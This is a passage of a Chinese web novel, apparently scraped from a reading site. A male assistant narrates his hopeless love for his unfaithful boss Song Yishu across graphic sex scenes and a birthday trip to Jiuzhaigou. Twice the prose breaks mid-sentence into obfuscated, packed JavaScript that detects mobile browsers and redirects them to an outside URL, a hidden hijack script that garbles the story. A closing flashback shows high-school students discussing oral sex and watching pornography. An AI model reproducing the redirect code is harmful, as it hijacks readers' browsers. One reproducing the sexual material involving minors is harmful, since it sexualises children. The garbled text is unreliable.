这个公司效益不错,有四十来个人,我弄完最后一份材料,跟财务确认好下周一要发的工资,就准备离开。 结果还没出公司门,就遇上了宋家父母。 宋父双手背在身后,往公司里看了眼,说:“小舒今天没来?” 我摇头道:“没有。” 宋父气得哼了声,自径往总裁办公室去。 宋母忧心忡忡地说:“他好几天没回家了,现在也不在公司,是不是躲在你家吗?” 我心里一紧,想着这几日,宋逸舒每天都来公司,晚上没回家,我手机没有收到酒店开房短信的话,那应该是去了乔哲年家。 他们已经同居了吗? 我给两人倒水,语焉不详地说:“昨晚来过。” 宋父直直地舒了口气,说:“这个小逆子,非要气死我。就不能找个安稳的男人好好过日子吗?让他跟哲年好好交往,他还不高兴,给我闹离家出走。” 宋家父母对宋逸舒是同性恋这件事,最开始有点抵触,可发现自己儿子不仅是个同性恋,还是个非常花心的同性恋后,那点子抵触就全变成了如何让儿子不花心不出轨,一心期盼他能早点洗心革面,不做渣男。 宋家父母做不通宋逸舒的思想工作,只好来做我的,让我去劝宋逸舒早点上岸,别做海王。 我只好硬着头皮答应,要走时,宋母低声问我:“小舒最近跟哲年吵架没有?” 我想了想,答道:“没怎么吵架,小舒他脾气本来也不坏。” 宋母拍着心口说:“对啊,小舒就是不懂事,小小年纪哪里懂什么爱情嘛,所以我说要找个成熟点的照顾他。”宋母看着我说:“你多看着他,要是他跟哲年吵架了,就跟我们说。” 宋父气道:“他还小啊,他骨子里就是个喜新厌旧的小流氓。” 宋母埋怨丈夫:“他哪里是喜新厌旧,只是没有遇到合适的喜好的人而已,你不要把儿子逼太紧了。” 我在很早就发现了,宋逸舒的少爷脾气完全是父母老姐惯出来的。 在他们眼里,宋逸舒一直是个需要哄的小孩子。 回家路上下起了雨,雨势渐大时,我接到了宋逸舒的电话。 “回来没有?” “还有二十分钟。”我望着车窗外的大雨,耐心道:“是要什么吗?” 虽说我的家里有很多宋逸舒的东西,他的衣服裤子,他买的多肉吊兰,他的各种零食、乐高、玩具,但他总有更想要的需要我去买。 “时代广场的蝴蝶酥。” 宋逸舒丢下一句吩咐就迅速挂断了电话,但我不敢耽搁半分钟,冒着大雨驱车去买。 时代广场已经是二十几年前的老地标了,最近那个地方的排水又坏了,一下雨脏水到处都是,卖蝴蝶酥那家老字号又是个小店面。 我买完蝴蝶酥回来,肩膀和裤子已经湿透了。 不过闻着香甜的蝴蝶酥,我已经能想象得到宋逸舒吃它们时,脸颊鼓囊囊的样子了。 进入地下车库时,雨已经小了不少,我提着蝴蝶酥开门,余光瞥见一双不属于我和宋逸舒的男士皮鞋。 我站在门口,任由身后吹来的冷风侵蚀我身上的寒意。 我在门口站了足有十分钟,确认屋里没什么声音后,换好鞋进去。 说话声从客厅传来,我提着蝴蝶酥进去,宋逸舒穿着我的衬衣盘膝坐在沙发上打游戏,他边上站着一个意外的人。 ——乔哲年。 他衣服有些乱,脖颈上还有抓痕,试探眼神不住打量我,语气也很平淡:“我来接逸舒。” 我客气地点点头。 不知道为什么,宋逸舒换了身衣服,他急切地问:“蝴蝶酥呢?” 我打开袋子,递了块到他嘴边,他低了点头来衔,正好让我看到昨晚我咬在他身上的吻痕。 白皙肌肤上都是我的痕迹,昨晚我挑着地方下口,只想遮住他身上别的男人痕迹。 不知道乔哲年看到那些痕迹没有,我想就算看到了,凭宋逸舒的舌头,他也能很好的狡辩起来。 给宋逸舒喂了几块蝴蝶酥,他就不吃了,我进房间换了身干净衣服,然后帮他把散乱的头发重新扎成低丸子头。 宋逸舒很喜欢我给他扎头发,扎完头发他心情都好了不少,笑眯眯地说:“饿了。” “我去做饭。” 我起身去厨房,顺便问一直跟雕像站着的乔哲年: “乔总要留下一起吃晚饭吗?” 乔哲年眼神无波无澜,淡淡道:“不用麻烦,我等会儿就跟逸舒离开。” 我面上扯起一个礼貌微笑,实则鄙夷乔哲年的狂妄自大,宋逸舒在我家是最懒得动弹的,哪怕是他父母来了,恐怕也劝不走他。 我进厨房,庆幸冰箱里还有点昨天买的菜还能做个三菜一汤给少爷。 过了会儿客厅传来争吵声。 宋逸舒的声音很好听,犹如清澈泉水叮叮,我竖起耳朵听他们在吵什么。 “你根本就不喜欢我,我不要理你了。” “宝宝,你不能提起裤子不认人。我喜欢你,我不在意你有过多少人,每个人都年轻过,只是我不想你再跟那些刘关张来往。” 我面无表情地切着西红柿,心想看来在我进门前,宋逸舒跟乔哲年还发生了场大战,不然他不会换衣服。 很多次我都像乔哲年一样祈祷过,宋逸舒能收心上岸,只是真这样的话,那他应该在很多年前就收心了。 “那是你不年轻了,我还年轻着,我想多玩玩怎么了?老子有的是钱,想怎么玩就怎么玩!” “那结婚后呢?结婚后你也准备这样玩下去吗?要我像你那个助理一样,每天去别的男人床上找你?” 说到最后,乔哲年似乎已经生气了,声音带着点吼。 我心里一咯噔,不禁埋怨宋逸舒,这小少爷肯定又在跟乔哲年交往时出轨了。这个管不住下半身的少爷! “你凶我做什么?声音那么大,我不就那一次吗?我都道歉了你还想怎么样!谁让你在床上跟玩具一样,无趣得很。” 宋逸舒是不能凶的,别人说话声音一大,他就会觉得委屈,哪怕他给乔哲年戴了两顶帽子。 我吃了片西红柿,不禁摇头地想,以后到底是个什么神仙能降住爱出轨的宋逸舒。 客厅有好一会儿没说话,直到砰的一声砸门响起,我才轻手轻脚的出去。 宋逸舒躺在沙发上,手臂胡乱擦着嘴,看到我出来,颐指气使道:“倒水。” 我倒了杯水给他,看他嘴巴破了皮,拿出药膏抹上,然后涂上润唇膏进厨房做饭。 吃饭的时候,宋逸舒一言不发,我也就识相的不说话,他饭没吃几口就钻进了次卧。 其实说是次卧也就是主卧,这套房子就两个房间。我和宋逸舒一人一个,我住的次卧被他叫主卧,他住的主卧被我喊做次卧。 收拾完厨房,我叫个海鲜外卖煮上一锅海鲜粥,以防小少爷半夜饿了。 等我洗完澡进了房间,宋逸舒还在打游戏,可能是因打的太过激烈,他头发都松散了,我拿着梳子走过去替他重新梳头发。 他头发养的很好,乌黑油亮,柔顺芳香,摸起来跟绸缎一样。 宋逸舒以前跟我说过,他这头长发是因为姐姐宋飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271564|198120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸿留的。 当年还没成年的宋飞鸿不幸查出白血病,化疗时掉光了头发,她很伤心很痛苦,不愿意见人,小小年纪的宋逸舒不想看到姐姐伤心,就也剃光了头发跟姐姐一起。 等后来宋飞鸿痊愈,她头发慢慢长长,宋逸舒也就没有剪短,这么多年过去,他一直都是长发飘飘的模样。 正因为这样,宋飞鸿和父母把弟弟看得无比重要,他们一致认为宋逸舒花心,只是没有找到喜欢的人而已,自己儿子骨子里还是个很有爱的人。 但是这个人什么时候出现,没有人能知道。 半夜的时候,我睡的正香,感觉身上趴来一个热乎乎的软物,嘴唇也被两片柔软细腻的肌肤含住,一双柔若无骨的手在我腹肌上流连,我登时醒了。 睁开眼发现是穿着松垮白衬衫的宋逸舒,跪坐在我身上亲我。 窗外不甚明亮的路灯光照着宋逸舒流畅俊美的侧脸,他看我醒了,亲了亲我的脖颈,手一路往下,捏住。 我闷哼一声,搂着他腰,摸到他白衬衫下什么都没穿。 他就穿了一件白衬衫,然后半夜爬上我的床。 实在是太骚了…… 我都不敢肯定他有没有这样爬过别的男人床。 但我知道他心里很郁闷,于是也不抵抗,低头吻住他唇,他起初有点不情愿失去主动权,可碍于我手在衬衫下也没闲着,抵抗两秒后才不情不愿地张开嘴,任由我的舌尖勾住他舌头戏弄。 我亲吻、上床的那点子招数全在宋逸舒身上学的,但我也可能是天赋异禀吧。 没一会儿把他亲得浑身无力,趴在我身上跟一滩水,我才抱着他打开床头小夜灯,拉开抽屉找套。 但宋逸舒虚虚地摁住我手,说:“先玩玩其他的。” 宋逸舒解释,他用我嘴,我用他的大白腿。 两人先玩玩,玩完之后再真刀真枪的来。 我嘴角微微抽搐,他根本都不知道,他穿着白衬衫光屁股在我眼前晃是多么大的诱惑,我也不可能化作禽|兽,把这个跟迷路一样闯进我房间,勾引我的别人老婆就地正法。 那样的话,我会被宋逸舒一巴掌扇死的。 可我仍然无法拒绝宋逸舒的要求,他趴在我身上,墨发铺满了我的大腿。到最后,他直接坐在我脸上,差点没把我闷坏。 把床铺弄的一团糟,宋逸舒快翻白眼了,我才把他拖过来,直接一步到位,气得他瞪着满含春波的眼睛骂我。 “你是狗啊?” 我哪儿有时间理他? 直接吻住他唇,舌头探进他齿间,勾住他小巧的舌头搅弄,手掐进他掌心里,十指相扣地摁在枕边以防他往上跑。 啧啧亲嘴的声音在寂静的夏夜听起来格外色|情,我继续努力,盖住白天乔哲年留下的痕迹,只让宋逸舒成为我一个人的。 翌日起来,看宋逸舒满面红光,媚眼如丝,就知道他心情好了不少,就顶着胆子问他是不是又出轨了。 他搅着咖啡,嗔着看我一眼,说:“你以为乔哲年像你啊,在床上花样多。” 我差点没一口海鲜粥喷出来,脸色不好地说:“没你花样多,我那些不都是跟你学的。” 宋逸舒心安理得地说:“那你可以叫我一声师傅,要不是我,你的处男身谁要啊。” 我:“……” 发觉话题被绕弯,我又急忙拉回来:“你是不是出轨了?” 宋逸舒有点小小的心虚,咽了口咖啡,底气不足道:“前几天跟他出去旅游的时候,都怪那个民宿老板,很有风度,肌肉又那么有力量感,长得还跟你有点点像,我一时没把持住,就……” 后面的艳遇故事显而易见。 我一脸无语地看着这个花心大萝卜,说:“乔哲年怎么知道的?” “那个老板送我回房间的时候,非要亲我两口,他刚好出来找我就……” 我震惊:“你半夜去的他房间啊?” 宋逸舒说:“怎么可能!我只是看外面月色好,想给你拍几张好看的照片。哪里知道那个老板穿了条短裤在院里修东西,我一时跟他聊了会儿。都怪你,要不是给你拍照片,我都不会出轨。” 我陷入巨大的无语之中,这种自我出轨的事理由都能按在我身上了,心想乔哲年这种天之骄子怎么不把那个勾引别人老婆的民宿老板打死! 每次跟宋逸舒聊完他的出轨理由,我都能气的脑仁疼,他的理由总是千奇百怪。 我本答应了要跟宋家父母说宋逸舒和乔哲年吵架了的事,但小少爷嫌乔哲年床上没趣,非要找野食这种事,我怎么也说不出口。 于是宋逸舒就心安理得在我家住了下来。 期间乔哲年打了两次电话服软,想让宋逸舒回去,但宋逸舒忙着跟我上床,看到来电人是乔哲年,看也不看就手机关机,撅起屁股让我快点。 5. 第 5 章 当然我的生活也不是只有跟宋逸舒上床、处理他那点烂摊子床上事,还有陪他出差。 毕竟这才是我的本职工作。 出差这件事是半个月前就订好了的,他公司正好有个项目要去蓉城,作为宋总的助理,我义不容辞的陪着他。 其实还有个别的原因,签完合同第二天是我生日。 我想他单独陪我,哪怕我们在外面吃顿饭,看个电影,我都觉这是最好的生日礼物。 到达蓉城后,宋逸舒也不闲着,别看他整天花心萝卜爱出轨,实则他在工作方面很有能力,三下五除二就把宋飞鸿啃了三个多月都没啃下来的业务拿下了。 签完合同那天,宋逸舒陪对方老总喝了不少,晚上回酒店时,我叮嘱司机开慢点,然后揉着他头,说:“那酒烈,还喝这么多,小心不舒服。” 宋逸舒喝得满脸绯红,修长手指松了松衬衫领,乱动间,散落的几缕发丝遮住眉眼,衬得他酒醉后的面容分外妖娆。 “就几杯也值得你唠叨?你喝得比我多还不醉,一点都不公平。” 我让他睡在我膝上缓解不适,想了想道:“不公平的事很多,就像你是海归富二代,我是高中没毕业的打工仔。” 宋逸舒笑了笑,没说话。 车辆行驶平稳,我见他心情不错,说:“小舒,明天我们去九寨沟玩好不好?” 宋逸舒闭着眼,长发铺在我膝头,散着淡淡幽香。 他勾唇一笑:“九寨沟有什么好玩的?” 我说:“明天我生日,我想你陪陪我。” 其实很久之前我已经跟宋逸舒说过了,想他陪我,他答应了的,但我不确定,这个小少爷有没有反悔的打算。 毕竟往年我生日,宋逸舒也会大发慈悲的陪我,兴致来了还会送我一件小礼物。但有时晚上他觉得跟我待在一起无趣,睡完我之后还会出去找男人。 这让我一度怀疑他有性|瘾。 今年这个生日我终于有了一个在外面我们单独一起过的机会,我并不想他陪其他人。 “你生日?我都忘了,”宋逸舒睁开朦胧纯真的眼,“哎呀,我都跟一个朋友约好了要吃饭的,你自己去吧,车费我给你报销。” 我一怔,心像是空了一块,慢慢揉着他的太阳穴,平淡道:“算了,也不是很想去。你们饭店订了吗?” 宋逸舒看了一眼我,闭上眼睛,往我怀里靠了些:“订了,我的事你少操心,看你操的,都丑了,丑男人我可不会喜欢哦。” 说是少操心,可这么多年,他的事我就没有不操心的。 我拿起手机看自己的模样,五官算是端正,若说俊朗也勉强可以。 但比起他交往过的前任,我确实不算帅气。有时候我都痴心妄想过,我要是有幸跟宋逸舒在一起了。 他跟别人介绍我是他男朋友时,别人笑话他怎么找个那么丑的男朋友怎么办? 我忐忑不安地放下手机,望着窗外霓虹,心想有没有整容项目,能让我变帅一点。 看上去与宋逸舒能般配一些,也不多,就一点点也好,就那种不要让别人笑话他就行。 可想着想着又觉得,算了……癞蛤蟆不要想着吃天鹅肉。 签完合同第二天,还有些事情要我去对接,我忙了一整天,被对家公司硬生生拖到快十二点才回了酒店。 我插上房卡那一瞬,屋里响起了生日快乐歌以及清脆的手掌声,精心布置过的房间被红色气球包裹,一个生日蛋糕摆在客厅中央,我仿佛陷入了浪漫的海洋。 宋逸舒一袭酒红色西裤,同色系的马甲勒得他腰身纤细,线条优美。 我怔怔望着房间里的宋逸舒,喉头一紧,想说什么话,但又说不上来。 宋逸舒踩着轻快步子过来,双手勾住我脖颈,笑着说:“大寿星,怎么看到这个不开心吗?” 我语无伦次道:“开心。你……你布置的?” 宋逸舒跟一个做了好事要表演的猫一样,言语温柔但又透着一股撒娇劲儿:“酒店员工布置的,我说我男朋友要过生日,希望能布置的浪漫、惊喜一些。” 他松开我,双手张开,轻盈地在屋中间转了一圈,说:“登登登,怎么样?你喜不喜欢?” 或许是听到他说的给男朋友布置,也或许是因为他没有忘记我的生日。 我激动地上前紧紧地抱住他,把头埋在他颈间,深深地吸了口,颤声道:“你做的,我都喜欢。辛苦你了。” 宋逸舒温柔地拍拍我背,说:“不辛苦啦,是酒店工作人员做的。我只是给他们包了个生日大红包,我们快切蛋糕吧,切了还要去九寨沟。” 我听到这话,真快惊喜的疯了,在他脸上狠狠亲了好几口,行若癫狂:“你不是要去吃饭吗?是不是我耽搁了你的行程,可以不去九寨沟的。” 宋逸舒道:“骗你的呀,没想到你真的听了,去不去?不去的话明天我们就回去了。” 我一把将他抱起来,在红色的浪漫海洋里转圈,转得宋逸舒笑着打我说要晕了我才将他轻轻放下来。 蛋糕是宋逸舒订的,是他喜欢吃的蓝莓口味。吃着吃着,我俩情不自禁地吻在了一起。 宋逸舒在我回来前洗了澡和头,浑身透着迷人的香气,我埋在他颈间啃咬、吸吮,布着薄茧的手指头轻松勾起宋逸舒的心。 他眼含春波地望着我,嘴唇红艳艳的,很是诱人,我亦情深地与他对视,一点点啄着他唇,说:“小舒,你是我最好的生日礼物。” 宋逸舒温柔地笑起来,双腿熟练地缠上我腰,引着我到更好更温暖的地方去。 记着要去九寨沟,我只压着宋逸舒做了两回,就抱着他开车去九寨沟。 彼时已是凌晨,早没了去九寨沟的高铁,我索性开车去,一早到后在民宿休息一会儿,坐车进沟内再住一天的话时间不赶也好玩。 趁此机会,宋逸舒还能在车上补觉。 副驾被放平,宋逸舒批着毯子恬静睡着,我开车若是累了就看他一眼。 五个小时的车程,在天完全亮时我到了订好的沟口民宿。 彼时宋逸舒还没睡醒,我把他从车里抱出来往民宿里去,正巧碰上一个与我差不多高的男人牵着狗出门。 男人飞快扫了眼我怀里的宋逸舒,说:“你对象?” 我自然而然地点头,男人笑道:“欢迎来九寨沟玩,我是这儿的老板,我姓周。你订的哪间?” 我给老板看了信息,他友好又热情地带我们进去。 民宿很干净很大,望远了看还能瞧见云雾缭绕的山峰。 进了房间,我给宋逸舒擦了遍身子,确保他身上清爽,然后搂着他睡了两三个小时,等手机闹钟响了,我拖着大包小包带宋逸舒进景区去。 九寨沟风景确实好,我小时候听宋逸舒说他来过一次,很漂亮。我也想来看看,想看看宋逸舒走过的地方是什么样的美景。 今年这个愿望,终于实现了,最大的欣慰还是这个地方是宋逸舒陪我一起来的。 宋逸舒是小少爷,走一路都要拍照休息,我拎着水壶、零食、相机给他拍一路也不觉得累,甚至觉着这是一种被需要感。 夏影斑驳中,我们在熊猫海看到了水獭。 宋逸舒指着那个在水里畅游的水獭,说:“你长得好像它。” 我:“……” 宋逸舒看我无语,吃吃地笑起来,挽着我手臂说:“逗你的啦,你没有它那么好看。” 我:“…………” 我趁周围人都在拍水獭时,低头咬了口他红润的腮,不料宋逸舒偏头垫脚跟我接了个吻。 温热软嫩的唇瓣印在我唇上的感觉让我瞬间扬了,掐了把他的腰,说:“小心有人偷拍你,我都*了。” 宋逸舒说:“感觉到了,好大呢。再说了我跟我男朋友亲嘴,管他们什么事。” 我心里跟抹了蜜一样,笑着说:“乔哲年呢?” 风吹动宋逸舒额前碎发,令他明亮的眼眸显在夏阳之下,犹如如碧波的眼眸只映出我的模样。 “分手了。他骂你来着,我可忍不了。” 我与他十指相扣,心想宋逸舒还是爱我的。 只是他不懂事,容易被人诱惑。 在景区吃过天价午饭,坐着观光车游玩一圈,宋逸舒就有点意兴阑珊,一边玩手机一边催我回去。 我错愕:“不是要在景区住一晚吗?” 宋逸舒不知跟谁聊着天,眉眼含笑道:“有什么好住的,又不是没来过,走路累死了,这全国的风景都一个样,早点回去吧。今早那个民宿你退了吗?” 我说:“没有。” 就是怕宋逸舒玩累了还要住一晚休息,旅游时我订酒店都是多订几晚。 “我们去那个民宿住一晚就回去吧。” 民宿老板依旧很热情,我们回去时他在门口修他的车,他黑色背心下的蓬勃肌肉让宋逸舒多看了两眼。 我立马挡住宋逸舒目光,跟他打招呼。 他笑着说:“里面好玩吗?” 我礼貌道:“挺好玩的。” 老板跟我闲扯了几句后,关切地说:“你男朋友看上去有点累,要吃点什么吗?我去买。” 我哪里好意思让老板去买,让他推荐了几家好吃的店,就带着宋逸舒进去了。 进门时,我还说:“这老板还挺热情,小舒,你要休息会儿还是我们等会儿出去吃?” 宋逸舒懒洋洋地往床上一躺,说:“你去买吧,就买他说的那家牛肉,我累死了不想动。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271565|198120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我放下东西,马不停蹄出门去买晚饭。 现在是旅游旺季,但由于是周中,这间民宿没多少人。 我买完晚饭回去的时候,又遇到了老板悠闲的牵着狗出门。 老板问:“你男朋友不跟你一起?” 我说:“他走累了,在休息。” 老板笑了笑,牵着狗出门遛弯了。 吃完晚饭,我抱着宋逸舒看电视,看着看着,宋逸舒坐我怀里来,黑亮长发垂落在圆润肩头,虚虚遮住他的灼热看我的眸子,他高挺精致的鼻梁,温润性感的红唇,让我觉得他如仙女一般降世。 他勾住我领口,未说话但我已心领神会,搂住他腰,仰头含住他唇瓣,解开皮带。 可能是白天赶路累了,也可能是宋逸舒累了。第二次做到一半,宋逸舒自己舒服完就一把推开我,怏怏道:“好累,不想来了。” 我只当是宋逸舒不喜欢我把他抵在沙发上,但还没解释,宋逸舒就光着身子进了卫生间。 我望着他匀称、不着寸缕的背影,很想把他拉回怀里重新*一顿,可又怕小舒不高兴,只得作罢,默默收拾起狼藉的沙发。 我洗完澡出来,宋逸舒蜷缩在雪白床褥间,跟猫一样安静。 我上床抱住他腰,抚摸他柔软细腻的肚皮,说:“困了吗?” 宋逸舒转身抱住我腰,在我胸膛上蹭了蹭,迷迷糊糊地说:“嗯。” 我关了灯抱着宋逸舒幸福睡去。 夏季山里多雷雨,一声惊雷在半夜扰醒了我,我下意识想抱宋逸舒,但只摸到了空。 我坐起来,看床头时间显示十一点多,听见房门被打开的声音,不禁疑惑。 宋逸舒半夜出门做什么? 我心里忽然升起一个不好的预感,纠结几秒后,打着光脚下床。 我脚步放得轻,宋逸舒关门也轻,房间里没开灯,他并没有发现我。 我靠在门边,轻轻将门打开一条缝,随之一个男人的说话声就飘了进来。 “小公主,你是迷路了吗?要我送你回去吗?” 宋逸舒道:“可以呀,你是不是坏人。” 听到这男人声音,我面色瞬间煞白,险些站不住。 而后暗自吐槽,怎么还玩起情景演绎了?不过这都是我玩剩下的。 我不知道民宿老板为什么半夜不睡觉,跑出来勾引我老婆,只知道他们的情景演绎应该是迷路的小公主和流氓。 “我当然不是。特么的,这位迷路的小公主,你屁股怎么这么大,是不是想男人了?” “我没有呀,你别胡说。啊……你放我下来,唔……” 听到这种对话,我想都不用想,宋逸舒肯定被那男的抵在墙上亲得没力气了。他就喜欢这种情景演绎,还喜欢我大力亲他。 啧啧黏腻的亲嘴声从走廊传来,我听两人亲够了,那男人踹开一间房,许久没有关门声,我才大着胆子出去。 我站在门外听着宋逸舒一声一声的高昂,心跟扎了针一样疼,我知道他花心爱玩,但不知道他会这样,连在我生日这天都忍不了。 期间我听到那个男人问:“跟你住一起的是你男朋友?” 宋逸舒声音很颤很软,细听之下还有点媚,可说出来的话让我如坠冰窟。 “当然不是,他就是我助理。” 我靠着墙慢慢坐到地上,心跟被人攥住了一样疼,就连呼进鼻腔的气都仿佛带着刺,把我那颗爱宋逸舒的心扎得七零八落。 “我看他对你挺好的,还以为跟上次那个一样,是你男朋友。” 宋逸舒吃吃地笑起来,用从来没有对我说过的语气说:“怎么会呀,上次那个男的打了你,我可伤心了,回去就跟他分手了。唔……” “那你跟我在一起,好不好?宝贝,我爱死你了。*死你……” 宋逸舒没说话,只是嗯嗯啊啊地叫唤着。 轰隆隆的雷声掩盖了宋逸舒又和别人亲热的事实,我光脚站在走廊里,回想昨天犹在眼前的生日蛋糕和宋逸舒说对我的爱,我都觉得讽刺。 原来我在他心里,一直都是个助理,他总是这样,喜欢骗我,而我也乐在其中。 我扶着墙摇摇晃晃地站起来,想冲进去分开他们,但又不想宋逸舒难堪。 他又不会改这个风流性子,他只会在我睡着的时候,帮我盖好被子,轻轻关上门,出门跟别人风流。 我庆幸宋逸舒还照顾了一下我难得的自尊,在我睡着时出门,比起被乔哲年当场抓包,我居然还算被照顾了一下。 听着屋里暧昧不绝的水声,宋逸舒的求饶声,我狠狠扇了自己一巴掌,只当自己梦游了,然后拖着沉重步子回房睡觉。 不然等会儿宋逸舒完事看到我没有睡觉,会生气的。 6. 第 6 章 我回到房间躺下,许久都睡不着,一闭上眼就总是能幻听到宋逸舒和那个男人的声音。 我坐起来,端详这一室风雨。 忽然一声: “啊——不行了,真的要坏……” 我暗暗地闭上眼睛,好吧,这不是幻听,是单纯的宋逸舒声音大。 我想如果当初宋父送宋逸舒去学音乐的话,他现在一定在音乐届大有作为。 一个闪电劈下来,紧接着暴雨接踵而来。我记得宋逸舒是最怕雷雨天的,以前要是有打雷的天,他会缩到我怀里,让我抱着他。 可现在,他在另一个男人怀里。 我深深地叹了口气,重重地倒回床上,强迫自己睡觉。 不知过了多久,雨声渐小,我听到外面两人依依惜别的说话声,赶紧调整好睡姿,假装自己睡着了。 门被推开关上,宋逸舒踩着轻巧的步子上床。 一阵暖烘烘的香气扑进我鼻尖,比起宋逸舒身体,我更先接触到的是他满头秀发。柔润的长发在我脸颊扫过,很香很暖。 他们做完后,应该洗了个澡,那个男人还不错,知道把宋逸舒头发吹干。 如果可以,我可以接受那个男人短暂的照顾宋逸舒,因为宋逸舒迟早会出轨下一个。 宋逸舒扯开我手臂,安静地睡进我怀里,头枕在我手臂上,紧接着我的腰被他手臂圈住。 他重新睡回了我的怀里。 没在那个男人身边过夜,我有点莫名其妙的安慰,宋逸舒还知道回家。 我假装才睡醒,把他往怀里揉了揉,说:“好像下雨了。” 宋逸舒睡在我怀里,声音很温柔:“对呀,有点冷。” 我强忍着心里的痛,抱紧他,睁眼低头,对上单纯无辜的眼眸。想从这双眼睛里看到一丝羞愧,但没有,只有他激情运动后潮红的脸颊,还有颈间挑衅刺目的吻痕。 屋里很黑,宋逸舒没发现我眼里的打量,只笑着在我唇上亲了亲,撒娇一样地说:“我好爱你啊,老公。” 突如其来的亲昵称呼更像他出轨后对我的亏欠,我强撑起一个笑,把头埋进他散发着香气的颈窝,苦涩道:“我也爱你。” 由于昨晚下了雨,今天天气格外清新。我是被宋逸舒蹭醒的,一睁眼就看到宋逸舒坐在我腰间扭来扭去,眼波流转。 身上套着的衬衣松松垮垮,露着他精致的锁骨,衬衣下面两颗扣子没扣好,把他小腹暴露在我眼前。 男生若是很瘦,那他小腹便会普遍偏薄,瘦削薄弱,柔软细腻,细腻到有什么异样的突起都会格外明显。 而宋逸舒就是这样一个人,他优雅地把长发别至耳后,朝我眨了眨眼睛后,很是正经地问:“先生,需要特殊服务吗?” 昨晚他都叫过特殊服务了,今早还要来吗? 特么的!宋逸舒怎么变这么骚了? 我实在忍无可忍,把他往我**上一按,看他眼泪花冒了出来,绿色的心情才好不少。 不过也因为这样,我发觉他昨晚好像没有戴套。 我才好起来的心情又绿色了…… 宋逸舒太过分太骚了,居然带着别人的……跟我做。 他对伴侣要求极高,要是不干净他戴套都不会让人碰,我想那个老板应该还是个没有谈过恋爱的。 我狠狠地把他收拾了好几个小时,平时舍不得用的姿势都用上。不料宋逸舒高兴一直抱着我,说要爱我一辈子。 呵。 真骚。 看他重新换上我的气息和味道,我那点绿色心情才好了些。 吃过午饭,当宋逸舒执意在这儿住两天时,我知道,那个老板有点走近宋逸舒视线了,我不理解,那种勾引别人老婆的男人有什么好的? 下午,宋逸舒把我支出去买特产,等我回来的时候,他已经坐在民宿前台跟那个老板眉来眼去了。 所以回房间后,我又听到了宋逸舒那句熟悉的经典话: “我决定恋爱了。” 获得宋逸舒男朋友身份不到二十四小时的我,立马变为助理。我控制住心里的痛,不咸不淡地点了个头,说:“好。” 宋逸舒双手背到背后,仰着小脸看我:“你都不问问吗?” 我极力忽略心里的苦涩,努力挤出一副平静样子,说:“问什么?” 宋逸舒好像很疑惑,歪了歪头,说:“问我那个男人是谁啊。你从来都不关心我跟谁在一起,也从来不会因为我跟别人在一起生气。” 我被噎住了,不知道该怎么回答他。 因为我知道,我没有资格问他。 要说这世界上最大的沟壑是东非大裂谷,那我和宋逸舒之间的身份差距就是十个东非大裂谷。 初中毕业那年,宋逸舒在宋家父母、我、还有他那个初恋的穷追猛打下,考上了市一中。 幸运的是我和他是同班同学,他的初恋在隔壁班。 宋家父母当时准备送他出国的,不过当时碰上宋飞鸿病才好,舍不得弟弟就耽搁着。 到了高中,我依旧是他的同桌,我们继续上课、下课,他当时或许是还没觉醒渣男血脉,跟他初恋居然破天荒的从初三下学期谈到了高一上学期,就在我以为他们要长长久久的时候。 某个冬日晚自习,宋逸舒跟我说,他要跟初恋分手。 我写作业的手一顿,说:“前天你已经说过了,你说你还要给他准备圣诞礼物。” 宋逸舒道:“是真的!” 我难得来了兴趣,说:“为什么?他就差给你当狗骑了。” 宋逸舒趴在我耳边,悄悄地说:“他总想舔我那个。” 我脸瞬间红了,望着宋逸舒清说:“那个?” 宋逸舒贝齿咬了下唇瓣,破罐子破摔说了那两个字。 我一脸震惊,对于恋爱的阶段,我只停留在亲嘴和牵手,还没到宋逸舒和他初恋说的那样开放。 我害怕他被欺负,问他那个初恋是不是经常这样。 宋逸舒摇了摇头,抓着我的手,说:“我有点不喜欢他了。” 我握住他手,有点高兴地说:“那就分开,小舒,你的快乐是最重要的。” 宋逸舒想了想又说他要思考一下,晚上我骑自行车送他回家。 自从上了高中,宋家父母知道我成绩好,允许我住在他们给宋逸舒买的学区房里,每个月给我两千块钱,当作我照顾宋逸舒的工资和补课费。 这笔钱对我这个贫穷的家庭来说,无异于大大的帮助,我很感激宋家父母。 我洗完澡出来,看到宋逸舒趴在我床上。 我擦着头发,说:“怎么不去睡觉?” 宋家装了暖气,四季如春,现在这个严寒时节,宋逸舒只穿了套短袖短裤,他晃着两条洁白修长的腿,在我床上玩平板。 他说:“睡不着。” 我坐到床边,默默拉下他睡衣,遮住那截清瘦柔软的腰。 宋逸舒扭头,秀丽的小脸露着神神秘秘的神情,他朝我招手:“你过来,我给你看个东西。” 我趴到他身边,闻到了他沐浴后淡淡的清香,看他细白的手指在平板上点来点去,然后点出一个视频。 视频内容是,一个高壮伟岸的男人将一个男人压在怀里,我脸瞬间红得滴血。画面一转,平板的大屏幕把他们亲吻的画面拍摄得无比清晰。 配合着男人的声音,我被震惊的半天说不出来,赶忙把平板锁屏,羞愤道:“你怎么看这个?这是黄……” 那个字我说不出口,我都没想到宋逸舒才上高中怎么就学坏了。 宋逸舒却一脸无畏,把头发一撂,笑盈盈道:“这是顾天良发给我的。” 我怒道:“跟他分手!怎么能给你看这个?他简直是个畜|生!” 宋逸舒笑得在床上滚,朝我轻轻一笑:“他还教我亲嘴呢,你亲过嘴吗?” 